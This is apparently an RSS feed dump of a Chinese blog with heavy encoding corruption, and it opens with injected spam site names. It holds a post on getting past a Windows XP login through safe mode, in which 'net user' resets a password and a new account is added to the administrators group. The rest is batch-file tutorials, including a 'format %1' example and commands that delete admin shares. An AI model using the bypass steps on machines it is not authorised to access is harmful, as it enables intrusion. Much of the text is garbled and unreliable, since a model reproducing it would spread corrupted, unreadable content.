??xml version="1.0" encoding="utf-8" standalone="yes"?>99久久99久久综合,成在在线免费视频,国产午夜在线视频http://www.aygfsteel.com/ThinkingTalking/category/26286.htmlDo what I can do!zh-cnMon, 31 Mar 2008 15:23:10 GMTMon, 31 Mar 2008 15:23:10 GMT60巧破Windows XP的登录密?/title><link>http://www.aygfsteel.com/ThinkingTalking/archive/2008/03/28/189323.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Fri, 28 Mar 2008 10:00:00 GMT</pubDate><guid>http://www.aygfsteel.com/ThinkingTalking/archive/2008/03/28/189323.html</guid><wfw:comment>http://www.aygfsteel.com/ThinkingTalking/comments/189323.html</wfw:comment><comments>http://www.aygfsteel.com/ThinkingTalking/archive/2008/03/28/189323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/189323.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/ThinkingTalking/services/trackbacks/189323.html</trackback:ping><description><![CDATA[<div id="wmqeeuq" class="mt10"><strong>转自Q?/strong> http://www.mtime.com/blog/trackback/303635/ </div> 其命令格式ؓQ? <p>  net user [UserName [Password   *] [options]] [/domain]</p> <p>  net user [UserName {Password   *} /add [options] [/domain]</p> <p>  net user [UserName [/delete] [/domain]]</p> <p>  我们现在以恢复本地用?#8220;allip”口oZQ来说明解决忘记d密码的步骤:</p> <p>  1、重新启动计机Q在启动画面出现后马上按下F8键,选择“带命令行的安全模?#8221;?/p> <p>  2、运行过E结束时Q系l列Zpȝ用户“administrator”和本地用?#8220;allip”的选择菜单Q鼠标单?#8220;administrator”Q进入命令行模式?/p> <p>  3、键入命令:“net user ***** 123456 /add”Q强制将“allip”用户的口令更改ؓ“123456”。若惛_此添加一新用P如:用户名ؓabcdefQ口令ؓ123456Q的话,请键?#8220;net user abcdef 123456 /add”Q添加后可用“net localgroup administrators abcdef /add”命o用h升ؓpȝ理l?#8220;administrators”的用Pq其具有超U权限?/p> <p>  4、重新启动计机Q选择正常模式下运行,可以用更改后的口o“123456”d“allip”用户了?/p> <img src ="http://www.aygfsteel.com/ThinkingTalking/aggbug/189323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2008-03-28 18:00 <a href="http://www.aygfsteel.com/ThinkingTalking/archive/2008/03/28/189323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bat 批处理命??http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156513.htmlThinkingTalkingThinkingTalkingSun, 28 Oct 2007 10:59:00 GMThttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156513.htmlhttp://www.aygfsteel.com/ThinkingTalking/comments/156513.htmlhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156513.html#Feedback0http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/156513.htmlhttp://www.aygfsteel.com/ThinkingTalking/services/trackbacks/156513.htmlbat 批处理命?文g cd 语法 格式 应用 详解
2007-04-23 13:04

      如何创徏批处理文Ӟ

    不要听了批处理文件就感到很神气,其实q东西很单的Q你用过C本没有?用过Q 好的Q将C本打开Q什么都不用写,然后选择文gQ保存.保存cd选择所有文Ӟ文g名则命名为 Q.bat q个Q代表是文g名,你可以随便的P保存好之后,看看你保存的地方Q会出现一个白色窗口里有个黄色齿轮的图标.q东西就是你创徏的批处理文gQ双M可以运行,但他现在׃里面没有输入M命oQ所以他q行了ƈ不会做Q何事情.当我们想往q个Q?bat文g中添加东西时Q只要右键选择他,然后选择~辑Q就可以打开C本往内输入命令了Q?/p>

  批处理文件中的命令是什么?

  批处理文件中的命令暂时先可以理解为dos命oQ等E后深入理解了以后再q行解释Q批处理֐思义是一大堆东西堆在一起处理.换句话说是往里面写一条条dos命oQ然后按序挨个执行Q效果跟你在cmd里敲dos命o是一个效果.只不q用批处理写好之后,要运行只要双M可以运行了Q而不用再一遍一遍的重复的往里面打命令.q就是批处理文g的好处.

  除了q行dos命o之外Q他q可以支持选择l构ifQ@环结构forQgoto{,与c有点cMQ但q没有c全面Qƈ且编写语a十分不规范.

  批处理语法:

先讲个最基本的东ѝ@echo off

  echo的意思是回旋Q这里的意思就是回显,echo off意思就是关闭回显.前面的@表示echo off q一行也不会回显你可以试着L@和整行去掉.@的另一个功能是在执行完批处理文件时自动恢复命o回显。如果第一句用的是ECHO OFFQ那么在执行完批处理文g以后不会昄命o提示W?/p>

举个例子Q如果我们先创徏一个1Qbat文gQ往里面输入Q?/p>

dir 然后保存在cQ\下.然后我们q行cmdQ进入c盘根目录下,输入Q.batQ则昄Q?/p>

C:\>dir
驱动?C 中的h有标{?br /> L序列h 0C5D-07FF

C:\ 的目?/font>

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

...........

C:\

如果1Qbat内容修改?/p>

echo off

dir

然后再在cmd里输入1QbatQ则会显C?

C:\>echo off       //因ؓq行了echo offQ所以没有显Cdir命oQ直接显CZl果
驱动?C 中的h有标{?br /> L序列h 0C5D-07FF

C:\ 的目?/font>

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

Q.Q.Q?/font>

C:\

如果1Qbat文g修改成:

@echo off
dir

则显C成Q?/p>

C:\>1.bat          //与前面不同,q没有显Cecho offQ原因是加了Q,所以不昄Q后面的内容Q又因ؓ?/font>

        //了echo offQ所以后面的命o不显C,直接昄l果
驱动?C 中的h有标{?br /> L序列h 0C5D-07FF

C:\ 的目?/font>

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

Q.Q.

C:\

通过以上的比较,怿你对echo off命o已经充分掌握了.现在已经Q点了.Q.写得累啊Q!Q洗澡睡觉去?/p>

Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-

早晨Q点p拉v来了Q.Q我命苦啊,那么l箋写吧

Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-

接下来讲的是call命oQ?/p>

call是打电话的callQ而不是"喔靠Q的靠:Q.call的意思ؓ调用Q假如有Q个批处理文件a.bat和b.batQ如果我惌行a.bat的当中运行b.batQ如何运行呢Q其实很单,只要在a.bat文g中输入call命oQ则可以在a.batq行的当中,q行b.batQ等b.batq行完之后,l箋执行a.bat

call命o格式Q?/p>

CALL [drive:][path]filename [batch-parameters]

   batch-parameters    指定批处理程序所需的命令行信息?/p>

举例如下Q我们在c盘根目录下创建aQbat文gQ内容ؓ:

echo this is a.bat

call d:\b.bat

echo done

然后在d盘根目录下创建b.batQ内容ؓQ?/p>

echo this is b.bat

保存后,打开cmdQ进入c盘根目录Q然后输?.batQ显C如下:

C:\>a.bat

C:\>echo this is a.bat
this is a.bat

C:\>call d:\b.bat

C:\>echo this is b.bat
this is b.bat

C:\>echo done
done

׃子很Ҏ看出来,是先q行a.bat的内容,直到遇到call b.bat后,则调用b.batQ运行完b.bat后,再返回a.bat接着q行call b.bat后面的echo done语句Q直臛_a.bat的所有批处理命oq行完.

注:里面有个[batch-parameters]里面的所指的参数是什么,知道的朋友能否告知,不胜感激Q?/font>

PAUSE 命o

暂停批处理程序的执行q显CZ条消息,提示用户按Q意键l箋执行。只能在批处理程序中使用该命令?/font>

rem命oQ?/font>

表示此命令后的字Wؓ解释行(注释Q,不执行,只是l自׃后参考用的(相当于程序中的注释)Q?/p>

同时你可以用两个冒号来替代remQ如Q ::{同于一个remQ但他们有个区别Q就是用::作注释的话他是不回显的,即你打echo on强制回显也没有同的.同时rem可以在config.sys中加注释Q?/p>

语法Q?rem[commnet]

批处理文件参敎ͼ

有点变成基础的h都知道函数有参数Q批处理文g也有参数Q?/p>

我打个比方,希望能帮助没有语a基础的h也能看的非常明白Q 

我从例子里开始吧Q首先在c盘根目录下创Z个批处理文g aQbatQ里面输入内?/p>

echo %1

然后打开cmdQ然后进入c盘根目录Q输入:a "this is a canshu"

得到l果如下Q?/p>

C:\>a.bat "this is a test"

C:\>echo "this is a test"
"this is a test"

  输入的a "this is a canshu"中,a为新建的a.bat的文件名aQ后面的.bat可写也可不写Q,而a后面的 "this is a canshu"q句话就是参敎ͼ写在q的参数Q在E序q行中就参数自动放到批处理E序中去Q那么放在什么位|呢Q就是放在 %1的地方.

  看了例子Q让我们看看整个关于参数的定义如何:

  批处理文件还可以像C语言的函C样用参敎ͼ相当于DOS命o的命令行参数Q,q需要用C个参数表C符"%"?
  %[1-9]表示参数Q参数是指在q行批处理文件时在文件名后加的以I格Q或者TabQ分隔的字符丌Ӏ变量可以从%0?9Q?0表示批处理命令本w,其它参数字符串用%1?9序表示?/font>//我们上个E序的例子里有Q1Q他是参数Q而输入中Qthis is a testQ作为参数就直接攑ֈQ1的位|,于是E序变成了 echo "this is a test"Q?/font>

  再D几个例子帮助你理解:

C:根目录下一批处理文件名为b.batQ内容ؓ:
@echo off
type %1     //type为dos中的输出命oQ可以用来输出文本文件的内容Q比如我们新Z个1Qtxt文g

         //里面输入内容Q保存.qcmdQ如果输入1Qtxt则看不了Q.txt文g内容Q但是如果我

         //想看怎么办呢Q这时候可以用type命oQ只要在cmd里输入type Q.txtp昄

         //Q.txt文g中的内容了 
type %2

那么q行C:\>b a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt

于是上面的批处理命o变成了

@echo off

type a.txt

type b.txt
于是上面的命令将序地显Ca.txt和b.txt文g的内宏V?/p>

没有~程基础的h可能要问Q干什么要弄个参数啊?在后面加个参数多ȝ啊?直接往里面写不好了啊Q!其实q样x对的斚w也有错的斚wQ还是D个例子说明吧Q?/p>

W一步还是在c盘根目录下新Z个批处理文gQ我们取名仍为a.batQ往里面的内容输入ؓQ?/p>

ping %1  //ping命o可以单理解ؓ试一台机器开着q是没有开Q如果开着的话Q他回l你回送回应.

然后qcmdQ我们想试下1Q3的服务器是不是开着Q则输入a www.163.com

  对于知道ping命o的hQ可以打pingq行查,但如果想ping的h不知道ping命o怎么用,那怎么办啊Q这时候你可以把命o预先输入到批处理文g中,保存好,然后让不会用的hqcmdQ运行你的批处理文gQ文件名后面加上他要ping 的网站地址p了.换句话说Q他想ping Q6Q就直接加1Q3的网址Q想ping sinaq接加sina的网址Q这样只要输入一个参敎ͼ而不用改E序本nQ整个程序的通用性就大大提高了.

  q是对于一个简单的ping命oQ你或许觉得用参C值得Q还是直接改不就好了啊.但如果程序有很多条,你一下找不到在哪Ҏ么办啊Q所以,不管你是菜哥Q菜弟,菜姐Q菜妹,只要q行下,输入参数Q结果自己就会出来,不用再象你一P考虑怎么~写批处理文Ӟ人家只要知道是输入什么东西能让批处理E序q行Q而编写的人则想的是如何让不懂E序的h能运行程序.

  批处理参数就q么单,不知道你理解了没有?但如果你x一步了解批处理参数Q可以接着往下看Q如果不x入了解,知道现在q么多也够了.

以下_红色内容ؓ|上资料Q?/p>

Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=Q=

  因ؓ参数只有Q%Q9Q,但当我们要引用第十个或更多个参数? 必ȝ动DOS 的参数v始指? shift 命o正充当了q个Ud指针的角? 它将参数的v始指针移动到下一个参? cMC 语言中的指针操作. 囄如下:

初始状? cmd 为命令名, 可以?%0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^      ^        ^      ^       ^       ^       ^       ^       ^       ^
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line;
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

l过1ơshift? cmd 无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^      ^        ^      ^       ^       ^       ^       ^       ^       ^
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line;
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

l过2ơshift? arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^      ^        ^      ^       ^       ^       ^       ^       ^       ^
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line;
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

遗憾的是, win9x 和DOS下均不支?shift 的逆操? 只有?nt 内核命o行环境下, shift 才支?/n 参数, 可以以第一参数为基准返复移动v始指?
=================

if goto choice for高语法

今天写到这吧,我收拾收拾东西准备滚蛋回学校了.可能if goto choice for高语法要在沈阳才能完成了,我好运吧.

======================

学校?|吧"l于重新开张了,抓紧旉把剩下的写完

if命o

说得通俗点,ifq当于我们白话里的如果Q?/p>

举个例子Q如果a喜欢bQ那么ap娶bQ q句话翻译成计算a成?/p>

if a喜欢b ap娶bQ?/p>

当然拉,计算Z可能理解a喜欢bQap娶bq两句话Q这里只是D个例子让你方便理解.

if语句一共有3U模?如下:


IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
IF [NOT] ERRORLEVEL number command

 NOT                指定只有条g?false 的情况下Q?Windows XP 才应该执行该命o?/font>

 ERRORLEVEL number 如果最后运行的E序q回一个等于或大于指定数字的退出编码,指定条g?true?/font>

 string1==string2   如果指定的文字字W串匚wQ指定条件ؓ true?/font>

 EXIST filename     如果指定的文件名存在Q指定条件ؓ true?/font>

 command            如果W合条gQ指定要执行的命令。如果指定的条g?FALSEQ命令后可跟一个执?ELSE关键字后的命令的 ELSE 命o?/font>

我们先讲解第一U?

IF [NOT] string1==string2 command

自然语句意思:如果string1Q=string2Q那么执行command

下面再D个能实际应用的if语句Q?/p>

自然语句Q如果输入的参数为3Q那么显C"aQ3Q?/p>

计算句:

@echo off
if "%1"=="3" echo "a=3"

或者写?/p>

@echo off
if %1==3 echo "a=3"

注意:当要试的时?因在cmd底下,输入1.bat 3.因ؓq里用了是传递参?具体看文章前部分"批处理文件参?.

W二U:

IF [NOT] EXIST filename command

q条命o用语文件是否存在.如果存在Q执行commandQ如果不存在Q则什么也不显C.

如:我们x查e盘根目录下是否有一个叫Q?txt的文Ӟ如果存在Q则昄existQ如果不存在Q则什么也不显C.

批处理命令如下:

@echo off
if exist e:\2.txt echo "exist 2.txt"

W三U:

IF [NOT] ERRORLEVEL number command

q个我引用点资料Q感觉别人写得更详细Q引用部分ؓ_色字部分:

if errorlevel <数字> 待执行的命o

很多DOSE序在运行结束后会返回一个数字值用来表C程序运行的l果(或者状?Q通过if errorlevel命o可以判断E序的返回|Ҏ不同的返回值来军_执行不同的命?q回值必L照从大到的序排列)。如果返回值等于指定的数字Q则条g成立Q运行命令,否则q行下一句?

如if errorlevel 2 goto x2

==== ?===========
q回g大到的序排列不是必须? 而只是执行命令ؓ goto 时的习惯用法, 当?set 作ؓ执行命o? 通常会从到大顺序排? 比如需返回码|入环境变量, 需使用以下的顺序Ş?

if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...

当然, 也可以用以下@环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e
//此处Z个for循环Q后面会l箋                        介绍到的Q看不懂可以先蟩q去

if errorlevel 比较q回码的判断条gq{于, 而是大于{于. ׃ goto 的蟩转特? 由小到大排序会导致在较小的返回码处就跛_; 而由?set命o?"重复" 赋值特? 由大到小排序会导致较的q回?"覆盖" 较大的返回码.

另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命o行时?= 作ؓ命o行切分符而忽略掉|了

choice命o

Q?Q?

goto命o

for命o

for命o其实是一个@环命?如果我们想重复一个语?可以用for命o.通过for命o,可以控制循环的次数等.

语法:

FOR %variable IN (set) DO command [command-parameters]

   %variable   指定一个单一字母可替换的参数?br />    (set)       指定一个或一l文件。可以用通配W?br />    command     指定Ҏ个文件执行的命o?br />    command-parameters
              为特定命令指定参数或命o行开兟?/p>

在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I.

  不知道你你看懂了没有Q其实还是很Ҏ理解的,q是举个例子吧.我想用type打印所有c盘根目录下的bat文g和txt文gQdos底下命o是 type Q.bat Q?txtQ先该文g保存在c盘根目录?名称为a.bat

用for命o如下Q?/p>

for %%t in (*.bat *.txt) do type %%t

%%t其实是代表的一个参敎ͼ他的内容在in() 里面括号里的内容.也就是说q句话里?%t变成了*.bat *.txt?do是做的意?执行type命o,而type后面?%t,?%t又是*.bat *.txt.所以原来这句命令的意思就变成?

type *.bat *.txt

执行时进cmd,然后到c盘根目录下输入a.bat可以打印出c盘根目录下所有扩展名?bat?txt的文件内容了.

q里要注意:in后面有个I格Q?/p>

 

在xp底下,for命o扩展名被L因此for的功能变得更加强?下面讲一个真正的循环.


FOR /L %variable IN (start,step,end) DO command [command-parameters]

     该集表示以增量Ş式从开始到l束的一个数字序列?br />      因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br />      序列 (5 4 3 2 1)

里面W一?在start的位|?意思是起始位置,W??在step位置,英文意思是跨步,在这里面的意思是每次增量?.后面?在end的位|?意思是l束时的大小.

q句话的意思就是从1(start)开始增?每次增加1(step),一直到变到5(end)为止.

q个有什么用?其实我感觉这个东西的用处q是很大?举个最单的例子,我们想重复回?i am the best"q句?重复昄10?那么for命o如下:

for /L %%e in (1,1,10) do echo "i am the best"

q时,cmd׃重复输入"i am the best"10?

===============================================

看完整篇文章了吗??..我写的不Ҏ?...

现在不知道你对bat有了什么样的理解,我现在的感觉是bat是dos命o的组合,你把dos命o全写qbat命oQ只要运行下bat׃挨个执行dos命oQ这无疑提供了不的方便?/p>

下面我再举些实例.

删除默认׃n:

对于默认׃n不知道你了解多少,反正留着是个隐患,现在唯一的办法好象只能做个bat文gq行删除.命o如下:

net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
net share e$ /delete

……

里面的c d eZ的盘W。如果你只有一个分区,那么写到net share c$ /delete为止可以了。如果你有n个分区,那么挨个写下去?/p>

net share d$ /delete
net share e$ /delete

net share f$ /delete

net share g$ /delete……

登陆到局域网的机器快h?Ҏ机器有密码且?000或以上系l?

net use \\192.168.0.1 [密码] /user:[用户名]
explorer \\192.168.0.1

bat文g备䆾注册?/strong>

set regfile=%date%    //讄变量Q下面出?regfile%的都自动替换“当天date”

if exist "%regfile%" goto end    //如果发现当天date命名的目录,跛_文g?br /> md temp        //建temp目录


call 1.bat       //调用1.bat
del   1.bat          
ren 2.bat 1.bat
ren 3.bat 2.bat
ren 4.bat 3.bat
echo move   "%regfile%"   temp >4.bat   //?Ud“当天date命名的目?#8221;到temp的bat文g   ?/p>

md "%regfile%"    //建当天date命名的目?br /> cd "%regfile%"   //q入

reg export hkcu hkcu.reg    //导出注册?br /> reg export hklm hklm.reg   
                               //HKEY_CURRENT_USER   ~写hkcu 。存攑ֽ前用户个人数?br />                                //HKEY_LOCAL_MACHINE   ~写hklm 。系l的核心数据
cd..
deltree /y   temp >nul         ////q回上目录   Q删temp文g?
:end



ThinkingTalking 2007-10-28 18:59 发表评论
]]>
BAT批处理文件语??http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156511.htmlThinkingTalkingThinkingTalkingSun, 28 Oct 2007 10:55:00 GMThttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156511.htmlhttp://www.aygfsteel.com/ThinkingTalking/comments/156511.htmlhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156511.html#Feedback0http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/156511.htmlhttp://www.aygfsteel.com/ThinkingTalking/services/trackbacks/156511.html BAT批处理文件语?/font>
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文g?

==== ?=======================================
.bat是dos下的批处理文?
.cmd是nt内核命o行环境的另一U批处理文g
从更q义的角度来看,unix的shell脚本以及其它操作pȝ甚至应用E序中由外壳q行解释执行的文本,都具有与批处理文件十分相似的作用Q而且同样是由专用解释器以行ؓ单位解释执行Q这U文本Ş式更通用的称谓是脚本语言。所以从某个E度分析Qbatch, unix shell, awk, basic, perl {脚本语a都是一LQ只不过应用的范围和解释的^台各有不同而已。甚x些应用程序仍然沿用批处理q一U呼Q而其内容和扩展名与dos的批处理却又完全不同?
===================================

首先批处理文件是一个文本文Ӟq个文g的每一行都是一条DOS命oQ大部分时候就好象我们在DOS提示W下执行的命令行一PQ你可以使用DOS下的Edit或者Windows的记事本(notepad){Q何文本文件编辑工具创建和修改批处理文件?

==== ?===================
批处理文件中完全可以使用非dos命oQ甚臛_以用不h可执行特性的普通数据性文Ӟq缘于windowspȝq个新型解释q_的涉入,使得批处理的应用来?边缘?。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动?
========================

其次Q批处理文g是一U简单的E序Q可以通过条g语句(if)和流E控制语?goto)来控制命令运行的程Q在批处理中也可以用@环语?for)来@环执行一条命令。当Ӟ批处理文件的~程能力与C语言{编E语句比h是十分有限的Q也是十分不规范的。批处理的程序语句就是一条条的DOS命oQ包括内部命令和外部命oQ,而批处理的能力主要取决于你所使用的命令?

==== ?==================
批处理文?batch file)也可以称之ؓ批处理程?batch program)Q这一点与~译型语a有所不同Q就c语言来说Q扩展名为c或者cpp的文件可以称之ؓc语言文g或者c语言源代码,但只有编译连接后的exe文g才可以称之ؓc语言E序。因为批处理文g本n既具有文本的可读性,又具有程序的可执行性,q些U谓的界限是比较模糊的?
===========================

W三Q每个编写好的批处理文g都相当于一个DOS的外部命令,你可以把它所在的目录攑ֈ你的DOS搜烦路径(path)中来使得它可以在L位置q行。一个良好的习惯是在盘上徏立一个bat或者batch目录Q例如C:\BATCHQ,然后所有你~写的批处理文g攑ֈ该目录中Q这样只要在path中设|上c:\batchQ你可以在L位置q行所有你~写的批处理E序?

==== ?=====
U以dospȝ而言Q可执行E序大约可以l分Zc,依照执行优先U由高到低排列分别是QDOSKEY宏命令(预先ȝ内存Q,COMMAND.COM中的内部命oQ根据内存的环境随时q驻内存Q,以com为扩展名的可执行E序Q由command.com 直接载入内存Q,以exe位扩展名的可执行E序Q由command.com 重定位后载入内存Q,以bat位扩展名的批处理E序Q由command.com 解释分析Q根据其内容按优先序调用W?Q?Q?Q?U可执行E序Q分析一行,执行一行,文g本n不蝲入内存)
============

W四Q在DOS和Win9x/Mepȝ下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动q行批处理文Ӟ每次pȝ启动时会自动q行该文Ӟ你可以将pȝ每次启动旉要运行的命o攑օ该文件中Q例如设|搜索\径,调入鼠标驱动和磁盘缓存,讄pȝ环境变量{。下面是一个运行于Windows 98下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;<br>
C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /insert
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== ?=====
AUTOEXEC.BAT为DOSpȝ的自动运行批处理文gQ由COMMAND.COM启动时解释执行;
而在Win9x环境中,不仅增加支持?DOSSTART.BAT, WINSTART.BAT {许多其它自动运行的批处理文Ӟ对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS {许多变体以适应复杂的环境和多变的需求?
==== willsort ~注 =============
以下关于命o的分c,有很多值得推敲的地斏V常用命令中的@本不是命令,而dir、copy{也很常用的命o却没有列? 而特D命令中所有命令对我来说都是常用命令。徏议将批处理所引用的命令分为内部命令、外部命令、第三方E序三类。而内部命令和外部命o中别有一cL专用于或常用于批处理中的命o可称之ؓ"批处理命??

以下摘录MS-DOS 6.22 帮助文档中关?批处理命?的文字,当然Q其中有些概念和定义已经有些落后了?

批处理命?

批处理文件或批处理程序是一个包含若qMS-DOS命o的正文文Ӟ扩展名ؓ.BAT。当在命令提C符下敲入批处理E序的名U时QMS-DOS成组执行此批处理E序中的命o?

M在命令提C符下可使用的命令都可用在批处理E序中。此外,下面MS-DOS命o是专门在批处理程序中使用的?
==========

常用命o

echo、@、call、pause、rem(技巧:?:代替rem)是批处理文g最常用的几个命令,我们׃他们开始学赗?

==== ?===========
首先, @ 不是一个命? 而是DOS 批处理的一个特D标记符, 仅用于屏蔽命令行回显. 下面是DOS命o行或批处理中可能会见到的一些特D标记符:
CR(0D) 命o行结束符
Escape(1B) ANSI转义字符引导W?
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定W?
+ COPY命o文gq接W?
* ? 文g通配W?
"" 字符串界定符
| 命o道W?
< > >> 文g重定向符
@ 命o行回昑ֱ蔽符
/ 参数开兛_导符
: 批处理标{ּ导符
% 批处理变量引导符

其次, :: 实可以起到rem 的注释作? 而且更简z有? 但有两点需要注?
W一, 除了 :: 之外, M?:开头的字符? 在批处理中都被视作标? 而直接忽略其后的所有内? 只是Z与正常的标号相区? 使用 goto 所无法识别的标? 卛_ :后紧跟一个非字母数字的一个特D符?
W二, 与rem 不同的是, ::后的字符行在执行时不会回? 无论是否用echo on打开命o行回昄? 因ؓ命o解释器不认ؓ他是一个有效的命o? 此Ҏ? rem 在某些场合下比 :: 更ؓ适用; 另外, rem 可以用于 config.sys 文g?
=====================

echo 表示昄此命令后的字W?
echo off 表示在此语句后所有运行的命o都不昄命o行本w?
@与echo off相象Q但它是加在每个命o行的最前面Q表C行时不显C一行的命o行(只能影响当前行)?
call 调用另一个批处理文gQ如果不用call而直接调用别的批处理文gQ那么执行完那个批处理文件后无法返回当前文件ƈ执行当前文g的后l命令)?
pause q行此句会暂停批处理的执行ƈ在屏q上昄Press any key to continue...的提C,{待用户按Q意键后l?
rem 表示此命令后的字Wؓ解释行(注释Q,不执行,只是l自׃后参考用的(相当于程序中的注释)?
==== ?=====
此处的描q较为؜? 不如直接引用个命令的命o行帮助更为条?

-------------------------
ECHO

当程序运行时Q显C或隐藏批处理程序中的正文。也可用于允许或止命o的回显?

在运行批处理E序ӞMS-DOS一般在屏幕上显C(回显Q批处理E序中的命o?
使用ECHO命o可关闭此功能?

语法

ECHO [ON|OFF]

若要用echo命o昄一条命令,可用下述语法Q?

echo [message]

参数

ON|OFF
指定是否允许命o的回显。若要显C当前的ECHO的设|,可用不带参数的ECHO
命o?

message
指定让MS-DOS在屏q上昄的正文?

-------------------

CALL

从一个批处理E序中调用另一个批处理E序Q而不会引L一个批处理的中止?

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须?BAT作扩展名?


batch-parameters
指定批处理程序所需的命令行信息?

-------------------------------

PAUSE

暂停批处理程序的执行q显CZ条消息,提示用户按Q意键l箋执行。只能在批处
理程序中使用该命令?

语法

PAUSE


REM

在批处理文g或CONFIG.SYS中加入注解。也可用REM命o来屏蔽命令(在CONFIG.SYS
中也可以用分?; 代替REM命oQ但在批处理文g中则不能替代Q?

语法

REM [string]

参数

string
指定要屏蔽的命o或要包含的注解?
=======================

?Q用edit~辑a.bat文gQ输入下列内容后存盘为c:\a.batQ执行该批处理文件后可实玎ͼ根目录中所有文件写?a.txt中,启动UCDOSQ进入WPS{功能?

  批处理文件的内容?         命o注释Q?

    @echo off           不显C后l命令行及当前命令行
    dir c:\*.* >a.txt       c盘文件列表写入a.txt
    call c:\ucdos\ucdos.bat    调用ucdos
    echo 你好            昄"你好"
    pause              暂停,{待按键l箋
    rem 准备q行wps         注释Q准备运行wps
    cd ucdos            q入ucdos目录
    wps               q行wps  

批处理文件的参数

批处理文件还可以像C语言的函C样用参敎ͼ相当于DOS命o的命令行参数Q,q需要用C个参数表C符"%"?

%[1-9]表示参数Q参数是指在q行批处理文件时在文件名后加的以I格Q或者TabQ分隔的字符丌Ӏ变量可以从%0?9Q?0表示批处理命令本w,其它参数字符串用%1?9序表示?

?QC:根目录下有一批处理文件名为f.batQ内容ؓQ?
@echo off
format %1

如果执行C:\>f a:
那么在执行f.batӞ%1pCa:Q这样format %1q当于format a:Q于是上面的命oq行时实际执行的是format a:

?QC:根目录下一批处理文件名为t.batQ内容ؓ:
@echo off
type %1
type %2

那么q行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将序地显Ca.txt和b.txt文g的内宏V?

==== ?===============
参数在批处理中也作ؓ变量处理, 所以同样用百分号作ؓ引导W? 其后?-9中的一个数字构成参数引用符. 引用W和参数之间 (例如上文中的 %1 ?a: ) 的关pȝg变量指针与变量值的关系. 当我们要引用W十一个或更多个参数时, 必ȝ动DOS 的参数v始指? shift 命o正充当了q个Ud指针的角? 它将参数的v始指针移动到下一个参? cMC 语言中的指针操作. 囄如下:

初始状? cmd 为命令名, 可以?%0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

l过1ơshift? cmd 无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

l过2ơshift? arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8

遗憾的是, win9x 和DOS下均不支?shift 的逆操? 只有?nt 内核命o行环境下, shift 才支?/n 参数, 可以以第一参数为基准返复移动v始指?
=================

Ҏ命o


